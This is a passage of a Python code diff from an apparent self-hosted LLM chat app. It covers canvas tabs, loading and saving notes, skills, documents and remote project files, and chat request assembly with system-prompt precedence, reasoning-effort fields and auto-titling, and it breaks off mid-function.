+    truncated: bool = False
+    binary: bool = False
+
+    @property
+    def editable(self) -> bool:
+        """Whether the box is offered at all.
+
+        Not the same as `writable`. Saving back the first 256KB of a larger file
+        is how the rest of it is deleted, and a binary file has nothing safe to
+        put in a textarea -- both open read-only however the permissions read.
+        """
+        return self.writable and not self.truncated and not self.binary
+
+
+def path_key(project_dir: str, path: str) -> str:
+    """One name for one file, so `./a.py` and `a.py` open the same tab.
+
+    The same normalisation `agent/tools.py:_path_key` applies to the read-path
+    set, and lifted here so the two cannot disagree: a tab a model opened and a
+    tab a person opened have to be one tab, or the panel shows the same file
+    twice and only one of them is the one being saved.
+    """
+    if not posixpath.isabs(path) and project_dir:
+        path = posixpath.join(project_dir, path)
+    return posixpath.normpath(path)
+
+
+def split(key: str) -> tuple[str, str]:
+    """`"agent:/srv/a:b.py"` -> `("agent", "/srv/a:b.py")`.
+
+    `partition`, not `split`: a path may contain a colon, and a key that lost
+    half its path would silently open the wrong file.
+    """
+    source, _, ref = (key or "").partition(":")
+    return source, ref
+
+
+# --- The tab strip ---------------------------------------------------------------
+def tabs_of(chat: Chat) -> list[dict]:
+    return list((chat.canvas_json or {}).get("tabs") or [])
+
+
+def active_of(chat: Chat) -> str:
+    return str((chat.canvas_json or {}).get("active") or "")
+
+
+def open_tab(state: dict, tab: dict, *, activate: bool = True) -> dict:
+    """Add a tab, and optionally bring it to the front. Mutates `state`.
+
+    Mutating rather than returning a copy because the generation loop folds
+    several of these into one snapshot within a round: two `file_read` calls
+    that each read the state and wrote it back would leave only the second.
+    That is the lost update `plan_update` documents, in a different place.
+
+    `activate=False` is what a *model* opening a tab does, and it is the whole
+    of how this feature avoids being infuriating. An agent reads forty files in
+    a long reply; if each one took the panel, somebody reading the third would
+    be dragged through the other thirty-seven, and anybody halfway through an
+    edit would lose it. So the model fills the strip and the person decides
+    what is in front. A tab they open themselves activates, because opening
+    something and not being shown it is the opposite failure.
+    """
+    key = str(tab.get("key") or "")
+    if not key:
+        return state
+
+    tabs = [t for t in (state.get("tabs") or []) if t.get("key") != key]
+    tabs.append({
+        "key": key,
+        "title": str(tab.get("title") or key)[:120],
+        "source": str(tab.get("source") or split(key)[0]),
+    })
+
+    # Evict from the front, and never the tab in front or the one just opened.
+    # A model reading its way through a project must not close the file
+    # somebody is looking at.
+    keep = {key, str(state.get("active") or "")}
+    while len(tabs) > MAX_TABS:
+        victim = next((t for t in tabs if t["key"] not in keep), None)
+        if victim is None:
+            break
+        tabs.remove(victim)
+
+    state["tabs"] = tabs
+    if activate or not state.get("active"):
+        # Not activating an empty panel would leave tabs with nothing in front,
+        # which reads as a panel that failed to load.
+        state["active"] = key
+    return state
+
+
+def close_tab(state: dict, key: str) -> dict:
+    tabs = [t for t in (state.get("tabs") or []) if t.get("key") != key]
+    state["tabs"] = tabs
+    if state.get("active") == key:
+        state["active"] = tabs[-1]["key"] if tabs else ""
+    return state
+
+
+def merge(stored: dict | None, live: dict | None) -> dict:
+    """Fold a reply's tabs into whatever the row says now.
+
+    A union rather than an overwrite. `_persist` is the single writer, and the
+    snapshot it holds was taken when the reply began -- so overwriting would
+    drop a tab the person opened by hand while the reply was running.
+    """
+    state = {
+        "tabs": list((stored or {}).get("tabs") or []),
+        "active": (stored or {}).get("active") or "",
+    }
+    for tab in (live or {}).get("tabs") or []:
+        # Never activating: what the row says is in front is what the person
+        # last chose, and a reply that finishes ten minutes later must not move
+        # it. The reply's own `active` is deliberately not consulted.
+        open_tab(state, tab, activate=False)
+    return state
+
+
+# --- Which sources this chat may reach ---------------------------------------------
+def agent_ready(db: DBSession, user: User, chat: Chat | None) -> SshProfile | None:
+    """The profile an `agent:` tab would use, or None.
+
+    Everything `_terminal_enabled` checks except `agent.terminal`. Reading and
+    writing project files is what `tools.agent` is named after, and somebody who
+    may have a model write a file may certainly write one themselves.
+
+    Re-derived on every request. The template flag of the same name is
+    decoration; this is the control.
+    """
+    if chat is None or chat.kind != KIND_AGENT or not chat.ssh_profile_id:
+        return None
+    if not permissions.has(db, user, "tools.agent"):
+        return None
+    if not settings_store.agents(db).get("enabled"):
+        return None
+    if ssh_service.available() != "":
+        return None
+    profile = db.get(SshProfile, chat.ssh_profile_id)
+    if profile is None or profile.owner_id != user.id or not profile.enabled:
+        return None
+    if not profile.host_key:
+        return None
+    return profile
+
+
+def _executor(db: DBSession, user: User, chat: Chat) -> ssh_service.SshExecutor:
+    profile = agent_ready(db, user, chat)
+    if profile is None:
+        raise Refused(
+            "This chat has no connection you can reach. Check the connection's "
+            "host key on the Connections page if it has not been accepted yet."
+        )
+    return ssh_service.SshExecutor(ssh_service.spec_from(profile), chat.project_dir)
+
+
+# --- Loading ------------------------------------------------------------------------
+async def _load_agent(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
+    executor = _executor(db, user, chat)
+    path = path_key(chat.project_dir, ref)
+    try:
+        found = await executor.read_text(path)
+    except ExecError as exc:
+        raise Refused(str(exc)) from exc
+
+    return Doc(
+        key=f"{SOURCE_AGENT}:{path}",
+        title=posixpath.basename(path) or path,
+        subtitle=path,
+        text=found.text,
+        revision=found.revision,
+        writable=True,
+        language=posixpath.basename(path),
+        markdown=path.lower().endswith((".md", ".markdown")),
+        truncated=found.truncated,
+        binary=found.binary,
+    )
+
+
+async def _load_note(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
+    _needs_library(db, user)
+    note = notes_service.get(db, ref, user)
+    if note is None:
+        raise Refused("That note is not there any more.")
+    return Doc(
+        key=f"{SOURCE_NOTE}:{note.id}",
+        title=note.title or "Note",
+        subtitle="Note",
+        text=note.body or "",
+        revision=_stamp(note, note.body or ""),
+        writable=sharing.can_write(note, user),
+        language="note.md",
+        markdown=True,
+    )
+
+
+async def _load_skill(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
+    _needs_library(db, user)
+    skill = skills_service.get(db, ref, user)
+    if skill is None:
+        raise Refused("That skill is not there any more.")
+    return Doc(
+        key=f"{SOURCE_SKILL}:{skill.id}",
+        title=skill.name or "Skill",
+        subtitle="Skill",
+        text=skill.body or "",
+        revision=_stamp(skill, skill.body or ""),
+        writable=sharing.can_write(skill, user),
+        language="skill.md",
+        markdown=True,
+    )
+
+
+async def _load_doc(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
+    _needs_library(db, user)
+    document = documents_service.get(db, ref, user)
+    if document is None:
+        raise Refused("That document is not there any more.")
+    return Doc(
+        key=f"{SOURCE_DOC}:{document.id}",
+        title=document.title or document.filename or "Document",
+        subtitle="Knowledge document",
+        text=document.extracted_text or document.extraction_error or "",
+        revision=_stamp(document, document.extracted_text or ""),
+        writable=documents_service.can_write(document, user),
+        language=document.filename or "",
+        markdown=(document.filename or "").lower().endswith((".md", ".markdown")),
+        truncated=bool(document.truncated),
+    )
+
+
+async def _load_file(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
+    attachment = db.get(Attachment, ref)
+    if attachment is None or attachment.user_id != user.id:
+        raise Refused("That attachment is not there any more.")
+    # Belonging to this conversation, so a canvas cannot browse another one's
+    # files by id. `chat_id` covers one still in the composer; the message check
+    # covers one that has been sent.
+    if attachment.chat_id != chat.id:
+        raise Refused("That attachment belongs to another chat.")
+    return Doc(
+        key=f"{SOURCE_FILE}:{attachment.id}",
+        title=attachment.filename or "Attachment",
+        subtitle=attachment.source_path or "Attachment",
+        text=attachment.extracted_text or attachment.extraction_error or "",
+        # Read-only, and not for want of a write path: `DELETE /api/files/{id}`
+        # already refuses once the attachment has been sent, because it would
+        # rewrite a message somebody already read. Editing is the same act with
+        # a quieter failure.
+        writable=False,
+        language=attachment.filename or "",
+        markdown=(attachment.filename or "").lower().endswith((".md", ".markdown")),
+        truncated=bool(attachment.truncated),
+    )
+
+
+async def _load_scratch(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
+    if ref != chat.id:
+        raise Refused("That scratch document belongs to another chat.")
+    doc = scratch_service.for_chat(db, chat)
+    return Doc(
+        key=f"{SOURCE_SCRATCH}:{chat.id}",
+        title=doc.title or "Scratch",
+        subtitle="This chat's scratch document",
+        text=doc.body or "",
+        revision=_stamp(doc, doc.body or ""),
+        writable=True,
+        language="scratch.md",
+        markdown=True,
+    )
+
+
+# --- Saving --------------------------------------------------------------------------
+async def _save_agent(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
+    executor = _executor(db, user, chat)
+    path = path_key(chat.project_dir, ref)
+    try:
+        await executor.write_text(path, text, if_unchanged=revision)
+    except ExecError as exc:
+        raise Refused(str(exc)) from exc
+
+    profile = agent_ready(db, user, chat)
+    if profile is not None:
+        # Unconditionally, unlike `file_edit` -- whose skip is an optimisation
+        # for the model's hot path on the grounds that the file was already
+        # there. The canvas can create one, and a listing known to be wrong is
+        # what the cache note warns about.
+        index_service.forget_dir(profile.id, chat.project_dir)
+        if instructions_service.is_instruction_file(path, chat.project_dir):
+            instructions_service.forget(profile.id, chat.project_dir)
+    return await _load_agent(db, user, chat, path)
+
+
+async def _save_note(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
+    note = notes_service.get(db, ref, user)
+    if note is None:
+        raise Refused("That note is not there any more.")
+    if not sharing.can_write(note, user):
+        raise Refused("That note is not yours to change.")
+    _check_stamp(note, note.body or "", revision)
+    notes_service.update(db, note, body=text)
+    return await _load_note(db, user, chat, ref)
+
+
+async def _save_skill(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
+    skill = skills_service.get(db, ref, user)
+    if skill is None:
+        raise Refused("That skill is not there any more.")
+    if not sharing.can_write(skill, user):
+        raise Refused("That skill is not yours to change.")
+    _check_stamp(skill, skill.body or "", revision)
+    # Snapshots into a SkillRevision first, which is why a skill needs no
+    # conflict story beyond the token: a clobber is recoverable.
+    skills_service.update(db, skill, body=text, note="Edited in the canvas")
+    return await _load_skill(db, user, chat, ref)
+
+
+async def _save_doc(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
+    document = documents_service.get(db, ref, user)
+    if document is None:
+        raise Refused("That document is not there any more.")
+    if not documents_service.can_write(document, user):
+        raise Refused("That document is not yours to change.")
+    _check_stamp(document, document.extracted_text or "", revision)
+    documents_service.set_text(db, document, text)
+    return await _load_doc(db, user, chat, ref)
+
+
+async def _save_scratch(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
+    if ref != chat.id:
+        raise Refused("That scratch document belongs to another chat.")
+    doc = scratch_service.for_chat(db, chat)
+    _check_stamp(doc, doc.body or "", revision)
+    scratch_service.update(db, doc, body=text)
+    return await _load_scratch(db, user, chat, ref)
+
+
+# --- One table -------------------------------------------------------------------------
+_SOURCES: dict[str, tuple] = {
+    SOURCE_AGENT: (_load_agent, _save_agent),
+    SOURCE_NOTE: (_load_note, _save_note),
+    SOURCE_SKILL: (_load_skill, _save_skill),
+    SOURCE_DOC: (_load_doc, _save_doc),
+    SOURCE_FILE: (_load_file, None),
+    SOURCE_SCRATCH: (_load_scratch, _save_scratch),
+}
+
+
+async def load(db: DBSession, user: User, chat: Chat, key: str) -> Doc:
+    source, ref = split(key)
+    entry = _SOURCES.get(source)
+    if entry is None or not ref:
+        raise Refused("There is nothing to open here.")
+    return await entry[0](db, user, chat, ref)
+
+
+async def save(
+    db: DBSession, user: User, chat: Chat, key: str, text: str, revision: str = ""
+) -> Doc:
+    source, ref = split(key)
+    entry = _SOURCES.get(source)
+    if entry is None or not ref:
+        raise Refused("There is nothing to save here.")
+    saver = entry[1]
+    if saver is None:
+        raise Refused("This one can only be read.")
+    return await saver(db, user, chat, ref, text, revision)
+
+
+# --- Small shared pieces ------------------------------------------------------------------
+def _needs_library(db: DBSession, user: User) -> None:
+    if not permissions.has(db, user, "library.use"):
+        raise Refused("You do not have access to the library.")
+
+
+def _stamp(row, text: str) -> str:
+    """A revision token for a database row.
+
+    `updated_at` alone would not move for two saves inside one clock tick, so
+    the length rides along -- the same pairing the file token uses, and for the
+    same reason. The text is passed in rather than guessed at: a note keeps it
+    in `body` and a document in `extracted_text`, and a getattr chain that
+    silently found neither would hand every row the same token.
+    """
+    when = getattr(row, "updated_at", None)
+    if when is not None and when.tzinfo is None:
+        # SQLite does not store the offset, so a row loaded from disk comes back
+        # naive while one still in the session's identity map keeps the tzinfo
+        # it was created with -- and `.timestamp()` reads a naive value as local
+        # time. Without this the same row yields two different tokens depending
+        # on where it was loaded, and every save outside UTC would report a
+        # conflict that is not there. The same normalisation
+        # `compaction.moment` makes, for the same reason.
+        when = when.replace(tzinfo=UTC)
+    return revision_of(int(when.timestamp()) if when else 0, len(text or ""))
+
+
+def _check_stamp(row, text: str, revision: str) -> None:
+    """Refuse a save whose token no longer matches. An empty token overwrites.
+
+    Empty is what Overwrite on the conflict card sends: somebody has been shown
+    both versions and chosen. Never save silently over a change; never discard
+    silently either.
+    """
+    if revision and _stamp(row, text) != revision:
+        raise Conflict(_stamp(row, text))

src/lembas/services/chat.py

@@ -0,0 +1,712 @@
+"""Chat orchestration: building requests, streaming replies, naming chats."""
+
+from __future__ import annotations
+
+import logging
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+from sqlalchemy import func, select
+from sqlalchemy.orm import Session as DBSession
+
+from lembas.db.models import (
+    KIND_MESSAGES,
+    ROLE_ASSISTANT,
+    ROLE_SYSTEM,
+    ROLE_USER,
+    Chat,
+    Connection,
+    Message,
+    Model,
+)
+from lembas.services import files as files_service
+from lembas.services.llm.openai_client import Endpoint, LLMError, complete
+
+log = logging.getLogger(__name__)
+
+# Sampling keys forwarded upstream. Anything else a user puts in params_json is
+# ignored rather than passed through, so a typo cannot produce a 400 from the
+# provider that looks like a LLeMbas bug.
+FORWARDED_PARAMS = frozenset(
+    {"temperature", "top_p", "max_tokens", "presence_penalty", "frequency_penalty",
+     "seed", "stop"}
+)
+
+MAX_TITLE_LENGTH = 60
+
+# What one title call may spend. A title is a handful of words; the rest of this
+# is headroom for a model that thinks before it answers, which is most of the
+# interesting local ones. Too small is not a shorter title -- it is no title at
+# all, because the thinking consumes the budget and the content field comes back
+# empty or holding an unclosed `<think>`.
+TITLE_MAX_TOKENS = 512
+
+# How long a temporary chat survives after the last thing said in it.
+TEMPORARY_LIFETIME = timedelta(hours=24)
+
+
+def resolve_endpoint(db: DBSession, chat: Chat) -> tuple[Endpoint, str]:
+    """Find the connection and model a chat should use.
+
+    Chats store the model id as text rather than a foreign key so history
+    survives an admin deleting a connection, which means the mapping back to a
+    live connection has to be resolved at send time and can legitimately fail.
+    """
+    if not chat.model_id:
+        raise LLMError("This chat has no model selected.")
+
+    connection: Connection | None = None
+    if chat.connection_id:
+        connection = db.get(Connection, chat.connection_id)
+
+    if connection is None or not connection.enabled:
+        # The original connection is gone or disabled. Any enabled connection
+        # still offering this model id will do.
+        model = db.scalar(
+            select(Model)
+            .join(Connection)
+            .where(
+                Model.model_id == chat.model_id,
+                Model.enabled.is_(True),
+                Connection.enabled.is_(True),
+            )
+            .order_by(Connection.position)
+        )
+        if model is None:
+            raise LLMError(
+                f"No enabled connection currently offers the model "
+                f"'{chat.model_id}'. Pick another model for this chat."
+            )
+        connection = model.connection
+        chat.connection_id = connection.id
+        db.commit()
+
+    return Endpoint.from_connection(connection), chat.model_id
+
+
+def document_context(message: Message) -> str:
+    """Extracted text from a message's non-image attachments.
+
+    Wrapped in named tags so the model can tell one document from another, and
+    tell all of them from what the user actually typed. Truncation is stated
+    inline rather than silently, so a model asked about page 400 of a 300-page
+    extract can say it did not see it.
+    """
+    blocks: list[str] = []
+    for attachment in message.documents:
+        if not attachment.extracted_text.strip():
+            continue
+        note = " (truncated)" if attachment.truncated else ""
+        # Where it came from, when there is a where. A model handed `main.py`
+        # cannot tell which of four it is looking at, and cannot name the file
+        # back when asked to change something -- so a file read off a machine
+        # says which machine and which path. Quotes are stripped rather than
+        # escaped: these are attribute values in a tag the model reads, and a
+        # path containing one would otherwise close it early.
+        where = ""
+        if attachment.source_path:
+            where += f' path="{_attr(attachment.source_path)}"'
+        if attachment.source_label:
+            where += f' from="{_attr(attachment.source_label)}"'
+        blocks.append(
+            f'<document name="{_attr(attachment.filename)}"{where}{note}>\n'
+            f"{attachment.extracted_text.strip()}\n"
+            f"</document>"
+        )
+    return "\n\n".join(blocks)
+
+
+def _attr(value: str) -> str:
+    """A value safe to sit inside the double quotes of a tag we are writing."""
+    return value.replace('"', "").replace("<", "").replace(">", "").replace("\n", " ")
+
+
+def message_payload(message: Message, *, vision: bool) -> dict[str, Any]:
+    """One history entry in the shape the endpoint expects.
+
+    Plain text stays a plain string: sending the multimodal list form to an
+    endpoint that does not implement it is a reliable way to get a 400, and
+    most local runners do not.
+    """
+    text = message.content.strip()
+
+    documents = document_context(message)
+    if documents:
+        # Documents lead so the question that follows has its material already
+        # in view, which is how these models are trained to read a prompt.
+        text = f"{documents}\n\n{text}" if text else documents
+
+    # Images ride on a *user* turn and nowhere else. Until image generation
+    # existed no assistant message had ever carried one, so this was never a
+    # distinction worth drawing -- and the moment one does, the multimodal list
+    # form on an `assistant` turn is rejected outright by OpenAI and by most
+    # local runners, which would break not that turn but every later one in the
+    # chat. What follows from it, and is worth knowing rather than discovering:
+    # a model cannot see the picture it made on a *subsequent* turn (tool
+    # results are not replayed either), so "make it bluer" regenerates rather
+    # than edits. Honest for a text-to-image workflow with no img2img path.
+    images = message.images if (vision and message.role == ROLE_USER) else []
+    if not images:
+        return {"role": message.role, "content": text}
+
+    parts: list[dict[str, Any]] = []
+    if text:
+        parts.append({"type": "text", "text": text})
+    for attachment in images:
+        uri = files_service.data_uri(attachment)
+        if uri is None:
+            # The row survived but the file did not. Better to say so than to
+            # send a turn that silently lost its picture.
+            log.warning("attachment %s has no file on disk", attachment.id)
+            continue
+        parts.append({"type": "image_url", "image_url": {"url": uri}})
+
+    if not parts:
+        return {"role": message.role, "content": text}
+    return {"role": message.role, "content": parts}
+
+
+def folder_system_prompt(db: DBSession, chat: Chat) -> str:
+    """The nearest prompt on the chat's folder, or on a folder above it.
+
+    Walks up rather than reading one level, because folders nest and a project's
+    prompt belongs on the project rather than on each sub-folder of it. The
+    nearest one wins, which is the same rule the ladder as a whole follows.
+
+    Bounded and cycle-safe the way `api/folders.py:_depth_of` is. Reparenting
+    already refuses to build a cycle, but this runs on the request path for
+    every reply and a row written by something else must not be able to hang it.
+    """
+    from lembas.db.models import Folder
+
+    folder = chat.folder
+    seen: set[str] = set()
+    while folder is not None and folder.id not in seen:
+        seen.add(folder.id)
+        if (folder.system_prompt or "").strip():
+            return folder.system_prompt.strip()
+        folder = db.get(Folder, folder.parent_id) if folder.parent_id else None
+    return ""
+
+
+def effective_system_prompt(db: DBSession, chat: Chat) -> str:
+    """The system prompt a chat actually runs with.
+
+    Four layers, most specific wins outright:
+
+        chat  >  folder  >  model  >  instance
+
+    Precedence rather than concatenation. Stacking them reads well in a
+    settings screen and badly in practice: the moment two layers disagree the
+    model gets contradictory instructions and nobody can tell which one is
+    losing. With precedence, "why is it behaving like this" has one answer.
+
+    The folder sits above the model because it is the more specific statement:
+    a model's prompt describes the model wherever it is used, and a folder's
+    describes this piece of work whichever model is pointed at it.
+    """
+    from lembas.services import settings_store
+
+    if chat.system_prompt.strip():
+        return chat.system_prompt.strip()
+
+    if inherited := folder_system_prompt(db, chat):
+        return inherited
+
+    model = db.scalar(
+        select(Model).where(Model.model_id == chat.model_id).order_by(Model.position)
+    )
+    if model is not None and (model.system_prompt or "").strip():
+        return model.system_prompt.strip()
+
+    return (settings_store.get(db, "system_prompt") or "").strip()
+
+
+def build_messages(
+    db: DBSession,
+    chat: Chat,
+    *,
+    upto: Message | None = None,
+    vision: bool = False,
+    system_prompt: str | None = None,
+) -> list[dict]:
+    """Assemble the message list to send upstream.
+
+    `upto` excludes the placeholder assistant row being generated into, and
+    everything after it. `system_prompt` overrides what would otherwise be
+    resolved, which is how the harness gets in front of the authored prompt
+    without this function knowing anything about tools.
+    """
+    from lembas.services import compaction as compaction_service
+    from lembas.services import prompts as prompts_service
+
+    payload: list[dict[str, Any]] = []
+    system = effective_system_prompt(db, chat) if system_prompt is None else system_prompt
+    if system:
+        payload.append({"role": ROLE_SYSTEM, "content": system})
+
+    # Compacted turns are replaced by a summary carried in two turns rather than
+    # one. A leading `assistant` breaks templates that require the first
+    # non-system message to be `user`; a lone leading `user` produces user, user
+    # whenever the kept history starts on a user turn -- which it always does,
+    # because the cutoff lands on a finished reply. The pair alternates
+    # correctly in both directions and keeps exactly one system message.
+    cutoff = compaction_service.cutoff_message(db, chat)
+    if cutoff is not None:
+        lead = prompts_service.resolve(db, "task.compact_lead").strip()
+        ack = prompts_service.resolve(db, "task.compact_ack").strip()
+        summary = chat.compact_summary.strip()
+        payload.append(
+            {"role": ROLE_USER, "content": f"{lead}\n\n{summary}" if lead else summary}
+        )
+        if ack:
+            payload.append({"role": ROLE_ASSISTANT, "content": ack})
+
+    history = db.scalars(
+        select(Message).where(Message.chat_id == chat.id).order_by(Message.created_at)
+    ).all()
+
+    # The Messages conversation never ends, so it cannot all be sent. Only the
+    # most recent turns go; everything before them stays on screen and out of
+    # the request. One branch, and the bound is applied before the loop rather
+    # than inside it so the filters below still see a contiguous tail.
+    #
+    # Not compaction: that summarises with a model call and a threshold, on a
+    # conversation somebody decided to shorten. This is mechanical, lossless and
+    # permanent, which is why `compaction.should_compact` refuses this kind --
+    # two mechanisms fighting over one transcript is how you get a summary of a
+    # summary.
+    if chat.kind == KIND_MESSAGES:
+        from lembas.services import messages as messages_service
+
+        history = history[-messages_service.LIVE_CHUNK :]
+
+    for message in history:
+        if upto is not None and message.id == upto.id:
+            break
+        if cutoff is not None and compaction_service.moment(
+            message
+        ) <= compaction_service.moment(cutoff):
+            continue
+        # Typed while the previous reply was still being written, and not yet
+        # handed to a model. It is in the transcript and it is not in the
+        # request; delivery is what moves it from one to the other.
+        if message.queued:
+            continue
+        # Skip turns that failed or produced nothing -- but a message carrying
+        # only an attachment has no text and must still be sent.
+        if message.error:
+            continue
+        if not message.content.strip() and not message.attachments:
+            continue
+        payload.append(message_payload(message, vision=vision))
+
+    return payload
+
+
+def model_for(db: DBSession, chat: Chat) -> Model | None:
+    """The Model row a chat is using, or None if it has gone.
+
+    Looked up by id rather than held as a foreign key, for the same reason
+    resolve_endpoint does: chats store the model as text so history survives an
+    administrator deleting a connection.
+    """
+    return db.scalar(
+        select(Model).where(Model.model_id == chat.model_id).order_by(Model.position)
+    )
+
+
+def model_supports(db: DBSession, chat: Chat, capability: str) -> bool:
+    """Whether the chat's current model is marked as having a capability."""
+    model = model_for(db, chat)
+    return bool(model and (model.capabilities_json or {}).get(capability))
+
+
+def build_request(
+    db: DBSession,
+    chat: Chat,
+    *,
+    upto: Message | None = None,
+    tools: list[dict[str, Any]] | None = None,
+    user=None,
+    force_tool: str = "",
+) -> dict[str, Any]:
+    """The whole request body, tools and harness included.
+
+    Composed here rather than in the generation loop so that "what gets sent"
+    has one answer, and so the harness cannot be forgotten by a future caller
+    that offers tools.
+    """
+    from lembas.services import harness as harness_service
+    from lembas.services import prompts as prompts_service
+
+    params = {
+        key: value
+        for key, value in (chat.params_json or {}).items()
+        if key in FORWARDED_PARAMS and value not in (None, "")
+    }
+    # Images are only sent to a model an administrator has marked as having
+    # vision. Sending them to one that has not is not a graceful degradation:
+    # most endpoints reject the whole request.
+    vision = model_supports(db, chat, "vision")
+
+    if user is None:
+        from lembas.db.models import User
+
+        user = db.get(User, chat.user_id)
+
+    # The harness describes the tools; the authored prompt describes the
+    # behaviour. See services/harness.py for why these are joined rather than
+    # being two competing layers.
+    system = harness_service.join(
+        harness_service.compose(db, user, tools, chat),
+        effective_system_prompt(db, chat),
+        lead=prompts_service.render(db, "seam.authored_lead", {}),
+    )
+
+    body: dict[str, Any] = {
+        "model": chat.model_id,
+        "messages": build_messages(
+            db, chat, upto=upto, vision=vision, system_prompt=system
+        ),
+        **params,
+    }
+    if tools:
+        body["tools"] = tools
+        # Making the model call one particular tool, for `/image` -- the whole
+        # of what that command is. Only ever sent alongside a tools array and
+        # only when something asked for it, so a provider strict about unknown
+        # parameters sees exactly the request it always did until somebody types
+        # a slash command.
+        #
+        # An endpoint that ignores `tool_choice` is not a failure here: the turn
+        # still carries the instruction in words, so the model is being steered
+        # twice and the weaker half is the one that can be dropped.
+        if force_tool and any(
+            (tool.get("function") or {}).get("name") == force_tool for tool in tools
+        ):
+            body["tool_choice"] = {"type": "function", "function": {"name": force_tool}}
+
+    apply_effort(body, (chat.params_json or {}).get("reasoning_effort"))
+    return body
+
+
+# Reasoning effort, and why it goes out twice.
+#
+# There is no one field that works. OpenAI and vLLM read a plain
+# `reasoning_effort`. llama.cpp reads it too and, per its own documentation,
+# "other values (e.g. 'low', 'max') have no effect" -- its maintainer is blunter
+# still: "llama-server cannot support reasoning_effort at all", and the field
+# "simply gets dropped without error or logging". What *does* reach a gpt-oss
+# behind llama.cpp is `chat_template_kwargs`, which it accepts per request.
+#
+# So both are sent, and only when an effort has actually been chosen. That
+# second half is what keeps this from being a regression: a chat nobody has set
+# an effort on sends neither field and is byte-for-byte what it was. An endpoint
+# strict about unknown parameters will refuse the extra one -- but on a chat
+# somebody deliberately set an effort on, not on every chat in the instance.
+EFFORTS = ("low", "medium", "high")
+
+
+def resolved_effort(chat) -> str:
+    """The effort this chat will actually send, or "" for none.
+
+    Its own value, and nothing else. The model's default is a **seed** applied
+    when the chat is created (`api/chats.py:_new_chat`) and on a model change,
+    and is deliberately not consulted here for two reasons. A chat's request
+    should be a function of the chat row alone -- the same rule that has PDF
+    text extracted once at upload and knowledge attachments copied. And a
+    fallback would break "off": `update_chat` stores `None` for a cleared
+    effort, a fallback would resurrect the model's default underneath it, and
+    the off option would silently do nothing.
+
+    The picker shows exactly this, which is the whole point of it existing:
+    "Effort: default" named no level and was true of nothing in particular.
+    """
+    value = (getattr(chat, "params_json", None) or {}).get("reasoning_effort")
+    return value if value in EFFORTS else ""
+
+
+def apply_effort(body: dict[str, Any], effort: str | None) -> None:
+    """Put a chosen reasoning effort into a request body, in both forms."""
+    if not effort or effort not in EFFORTS:
+        return
+    body["reasoning_effort"] = effort
+    kwargs = dict(body.get("chat_template_kwargs") or {})
+    kwargs["reasoning_effort"] = effort
+    body["chat_template_kwargs"] = kwargs
+
+
+def default_model(db: DBSession, user=None) -> tuple[str, str] | None:
+    """The model a new chat should start with, as (model_id, connection_id).
+
+    Preference order: the user's own choice, then the instance default, then
+    whatever is first in the admin's ordering. Each is checked against what the
+    user may actually reach, so a default they have lost access to falls
+    through rather than producing a chat they cannot use.
+    """
+    from lembas.security import permissions
+    from lembas.services import settings_store
+
+    reachable = permissions.models_visible_to(db, user)
+    if not reachable:
+        return None
+
+    by_id = {model.model_id: model for model in reachable}
+
+    preferred = (user.settings_json or {}).get("default_model") if user is not None else None
+    if preferred and preferred in by_id:
+        return preferred, by_id[preferred].connection_id
+
+    instance_default = settings_store.get(db, "default_model")
+    if instance_default and instance_default in by_id:
+        return instance_default, by_id[instance_default].connection_id
+
+    # First in the administrator's ordering. Pinning is a sidebar shortcut, not
+    # a reordering, so it deliberately does not influence this.
+    chosen = sorted(reachable, key=lambda m: (m.position, m.model_id))[0]
+    return chosen.model_id, chosen.connection_id
+
+
+def available_models(db: DBSession, user=None) -> list[Model]:
+    """Models this user may start a chat with, in the administrator's order.
+
+    Pinning does NOT hoist a model up this list: pinned models get their own
+    shortcuts in the sidebar, and a picker whose order silently differs from
+    the one configured in the admin screen is just confusing.
+    """
+    from lembas.security import permissions
+
+    reachable = permissions.models_visible_to(db, user)
+    return sorted(reachable, key=lambda m: (m.position, m.model_id))
+
+
+def fallback_title(text: str) -> str:
+    """Derive a chat title from the opening message, without calling a model."""
+    cleaned = " ".join(text.split())
+    if not cleaned:
+        return "New chat"
+    if len(cleaned) <= MAX_TITLE_LENGTH:
+        return cleaned
+    # Prefer a word boundary, but only if it does not cut the title in half.
+    clipped = cleaned[:MAX_TITLE_LENGTH]
+    space = clipped.rfind(" ")
+    if space > MAX_TITLE_LENGTH * 0.6:
+        clipped = clipped[:space]
+    return clipped.rstrip(" ,.;:-") + "…"
+
+
+async def generate_title(
+    endpoint: Endpoint, model_id: str, question: str, answer: str, *, template: str
+) -> str:
+    """Ask the model for a short chat title.
+
+    Best-effort by design: any failure falls back to trimming the first
+    message. Naming a chat is never worth surfacing an error for.
+
+    `template` is passed in rather than read here because this runs after the
+    generation's session has closed -- see `generation._run`. An empty one means
+    an administrator cleared the fragment, which is how auto-titling is turned
+    off: no request is made at all.
+    """
+    from lembas.services import prompts as prompts_service
+
+    if not template.strip():
+        return fallback_title(question)
+
+    from lembas.services.reasoning import strip_reasoning
+
+    prompt = prompts_service.substitute(
+        template, {"question": question[:500], "answer": answer[:500]}
+    )
+    body = {
+        "model": model_id,
+        "messages": [{"role": ROLE_USER, "content": prompt}],
+        # Enough that a model which thinks before answering can do both. It was
+        # 24, which is ample for six words and nowhere near enough for a
+        # reasoning model: the whole budget went on thinking and the reply came
+        # back either empty or as an unclosed `<think>`, so every chat on such a
+        # model silently fell back to its first prompt and looked as though
+        # titling had never run.
+        "max_tokens": TITLE_MAX_TOKENS,
+        "temperature": 0.2,
+    }
+    # Deliberately *not* `apply_effort(body, "low")`, tempting as it is: naming
+    # a chat does not reward deliberation and a low effort would make this call
+    # much cheaper. But `reasoning_effort` and `chat_template_kwargs` appear
+    # only when somebody has opted in, precisely so a provider strict about
+    # unknown parameters sees exactly the request it always did — and sending
+    # them here would put them on every instance's title call, where a 400 is
+    # caught and turned into a fallback title. That is titling silently
+    # switching itself off, which is the failure this whole change is fixing.
+    # The token budget above is what makes room for the thinking instead.
+    try:
+        raw = await complete(endpoint, body)
+    except LLMError as exc:
